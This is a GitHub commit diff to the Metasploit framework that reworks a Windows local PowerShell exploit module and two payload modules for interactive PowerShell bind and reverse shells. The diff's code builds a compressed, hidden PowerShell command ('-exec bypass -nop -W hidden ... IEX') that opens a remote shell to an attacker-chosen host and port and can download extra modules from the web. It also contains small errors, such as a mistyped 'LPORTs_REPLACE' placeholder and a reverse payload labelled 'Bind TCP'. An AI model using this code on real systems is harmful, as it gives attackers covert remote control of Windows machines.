Skip to content

Commit ded904c

Browse files
benpturnerbenpturner
committed
New payloads
1 parent a02ea90 commit ded904c

File tree

3 files changed

+111
-57
lines changed

3 files changed

+111
-57
lines changed

‎modules/exploits/windows/local/interactive_powershell.rb

Lines changed: 18 additions & 44 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
1##
1+
##
22
# This module requires Metasploit: http://metasploit.com/download
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
@@ -7,8 +7,6 @@
77

88
class Metasploit3 < Msf::Exploit::Local
99

10-
include Rex::Powershell::Command
11-
1210
def initialize(info = {})
1311
super(update_info(info,
1412
'Name' => "Windows Local Interactive Powershell Session",
@@ -47,61 +45,37 @@ def initialize(info = {})
4745
'DefaultTarget' => 0
4846
))
4947

50-
register_options(
51-
[
52-
Opt::LPORT(4444),
53-
OptString.new('LOAD_MODULES', [false, 'A list of powershell modules seperated by a comma to download over the Internet', nil])
54-
], self.class)
5548
end
5649

5750
def exploit
51+
rhost = datastore['RHOST']
52+
lhost = datastore['LHOST']
5853
lport = datastore['LPORT']
54+
payload = datastore['PAYLOAD']
5955

60-
if datastore['RHOST'].to_s.empty?
61-
rhost = session.session_host
62-
else
63-
rhost = datastore['RHOST']
64-
end
65-
66-
template_path = File.join(
67-
Msf::Config.data_directory,
68-
'exploits',
69-
'powershell',
70-
'powerfun.ps1')
71-
72-
script_in = File.read(template_path)
56+
# sysinfo is only on meterpreter sessions
57+
print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?
7358

74-
if datastore['LHOST'].to_s.empty?
75-
script_in << "\npowerfun -Command bind"
76-
else
77-
lhost = datastore['LHOST']
78-
script_in << "\npowerfun -Command reverse"
79-
end
80-
81-
mods = ''
82-
83-
if datastore['LOAD_MODULES']
84-
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
85-
mods_array.collect(&:strip)
86-
print_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
87-
mods_array.each {|m| vprint_good " #{m}"}
88-
mods = "\"#{mods_array.join("\",\n\"")}\""
89-
script_in << " -Download true\n"
59+
# Check that the payload is a Windows one and on the list
60+
if not session.framework.payloads.keys.grep(/windows/).include?(datastore['PAYLOAD'])
61+
print_error("The Payload specified #{datastore['PAYLOAD']} is not a valid for this system")
62+
return
9063
end
9164

92-
script_in.gsub!('MODULES_REPLACE', mods)
93-
script_in.gsub!('LPORT_REPLACE', lport.to_s)
94-
script_in.gsub!('LHOST_REPLACE', lhost.to_s)
95-
script = Rex::Powershell::Command.compress_script(script_in)
96-
97-
res = session.sys.process.execute("powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})", nil, 'Hidden' => true, 'Channelized' => false)
65+
pay = client.framework.payloads.create(payload)
66+
pay.datastore['LHOST'] = lhost
67+
pay.datastore['LPORT'] = lport
68+
pay.datastore['RHOST'] = rhost
69+
70+
raw = pay.generate
71+
res = session.sys.process.execute("#{raw}", nil, 'Hidden' => true, 'Channelized' => false)
9872
fail_with(Failure::Unknown,'Failed to start powershell process') unless res && res.pid
9973
computer_name = session.sys.config.sysinfo['Computer']
10074
vprint_status("Started PowerShell on #{computer_name} - PID: #{res.pid}")
10175

10276
if datastore['LHOST'].to_s.empty?
10377
print_status("Attemping to connect to #{rhost}:#{lport}...")
104-
ctimeout = 30
78+
ctimeout = 10
10579
stime = Time.now.to_i
10680
last_error = nil
10781

‎modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb

Lines changed: 46 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -4,23 +4,28 @@
44
##
55

66
require 'msf/core'
7-
require 'msf/core/handler/find_shell'
87
require 'msf/base/sessions/powershell'
9-
require 'msf/base/sessions/command_shell'
10-
require 'msf/base/sessions/command_shell_options'
118

129
module Metasploit3
1310

1411
CachedSize = 0
1512

1613
include Msf::Payload::Single
17-
include Msf::Sessions::CommandShellOptions
14+
include Rex::Powershell::Command
1815

1916
def initialize(info = {})
2017
super(merge_info(info,
21-
'Name' => 'Windows Bind Powershell, Interact with Established Connection',
22-
'Description' => 'Interacts with a powershell session on an established socket connection',
23-
'Author' => 'hdm',
18+
'Name' => 'Windows Interactive Powershell Session, Bind TCP',
19+
'Description' => 'Listen for a connection and spawn an interactive powershell session',
20+
'Author' =>
21+
[
22+
'Ben Turner', # benpturner
23+
'Dave Hardy' # davehardy20
24+
],
25+
'References' =>
26+
[
27+
['URL', 'https://www.nettitude.co.uk/interactive-powershell-session-via-metasploit/']
28+
],
2429
'License' => MSF_LICENSE,
2530
'Platform' => 'windows',
2631
'Arch' => ARCH_CMD,
@@ -34,6 +39,40 @@ def initialize(info = {})
3439
'Payload' => ''
3540
}
3641
))
42+
register_options(
43+
[
44+
OptString.new('LOAD_MODULES', [ false, "A list of powershell modules seperated by a comma to download over the web", nil ]),
45+
], self.class)
46+
end
47+
48+
def generate
49+
lport = datastore['LPORT']
50+
51+
template_path = File.join(
52+
Msf::Config.data_directory,
53+
'exploits',
54+
'powershell',
55+
'powerfun.ps1')
56+
57+
script_in = File.read(template_path)
58+
script_in << "\npowerfun -Command bind"
59+
60+
mods = ''
61+
62+
if datastore['LOAD_MODULES']
63+
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
64+
mods_array.collect(&:strip)
65+
print_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
66+
mods_array.each {|m| vprint_good " #{m}"}
67+
mods = "\"#{mods_array.join("\",\n\"")}\""
68+
script_in << " -Download true\n"
69+
end
70+
71+
script_in.gsub!('MODULES_REPLACE', mods)
72+
script_in.gsub!('LPORTs_REPLACE', lport.to_s)
73+
74+
script = Rex::Powershell::Command.compress_script(script_in)
75+
"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})"
3776
end
3877

3978
end

‎modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb

Lines changed: 47 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -4,23 +4,28 @@
44
##
55

66
require 'msf/core'
7-
require 'msf/core/handler/find_shell'
87
require 'msf/base/sessions/powershell'
9-
require 'msf/base/sessions/command_shell'
10-
require 'msf/base/sessions/command_shell_options'
118

129
module Metasploit3
1310

1411
CachedSize = 0
1512

1613
include Msf::Payload::Single
17-
include Msf::Sessions::CommandShellOptions
14+
include Rex::Powershell::Command
1815

1916
def initialize(info = {})
2017
super(merge_info(info,
21-
'Name' => 'Windows Reverse Powershell, Interact with Established Connection',
18+
'Name' => 'Windows Interactive Powershell Session, Bind TCP',
2219
'Description' => 'Interacts with a powershell session on an established socket connection',
23-
'Author' => 'hdm',
20+
'Author' =>
21+
[
22+
'Ben Turner', # benpturner
23+
'Dave Hardy' # davehardy20
24+
],
25+
'References' =>
26+
[
27+
['URL', 'https://www.nettitude.co.uk/interactive-powershell-session-via-metasploit/']
28+
],
2429
'License' => MSF_LICENSE,
2530
'Platform' => 'windows',
2631
'Arch' => ARCH_CMD,
@@ -34,6 +39,42 @@ def initialize(info = {})
3439
'Payload' => ''
3540
}
3641
))
42+
register_options(
43+
[
44+
OptString.new('LOAD_MODULES', [ false, "A list of powershell modules seperated by a comma to download over the web", nil ]),
45+
], self.class)
46+
end
47+
48+
def generate
49+
lport = datastore['LPORT']
50+
lhost = datastore['LHOST']
51+
52+
template_path = File.join(
53+
Msf::Config.data_directory,
54+
'exploits',
55+
'powershell',
56+
'powerfun.ps1')
57+
58+
script_in = File.read(template_path)
59+
script_in << "\npowerfun -Command reverse"
60+
61+
mods = ''
62+
63+
if datastore['LOAD_MODULES']
64+
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
65+
mods_array.collect(&:strip)
66+
print_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
67+
mods_array.each {|m| vprint_good " #{m}"}
68+
mods = "\"#{mods_array.join("\",\n\"")}\""
69+
script_in << " -Download true\n"
70+
end
71+
72+
script_in.gsub!('MODULES_REPLACE', mods)
73+
script_in.gsub!('LPORT_REPLACE', lport.to_s)
74+
script_in.gsub!('LHOST_REPLACE', lhost.to_s)
75+
76+
script = Rex::Powershell::Command.compress_script(script_in)
77+
"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})"
3778
end
3879

3980
end

0 commit comments

Comments
 (0)